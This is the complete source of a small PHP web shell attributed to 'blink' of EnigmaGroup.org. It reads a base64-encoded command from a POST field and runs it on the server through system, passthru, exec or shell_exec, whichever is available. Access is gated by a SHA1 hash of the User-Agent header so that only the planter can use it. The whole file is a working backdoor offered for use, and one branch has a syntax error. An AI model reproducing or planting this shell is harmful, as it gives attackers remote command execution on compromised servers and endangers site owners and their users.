PHP CMDShell

<?php
// Basic CMDShell By blink.
// Uses base64 encoding for the sent commands.
// Uses SHA1 and User-Agent suth to access the shell.
// EnigmaGroup.org.
$ua = 'dcae3a7a7c14a77ef384f1c5df6e63edc780eba0';
if( (empty($_POST['x'])) || (sha1($_SERVER['HTTP_USER_AGENT']) != $ua) )
    die();
$x = base64_decode($_POST['x']);
if(is_callable("system")){
    system($x);
}elseif(is_callable("passthru")){
    passthru($x);
}elseif(is_callable("exec")){
    exec($x);
}elseif(is_callable("shell_exec"){
    shell_exec($x);
}else{
    die('Unable to Execute!');
}
?>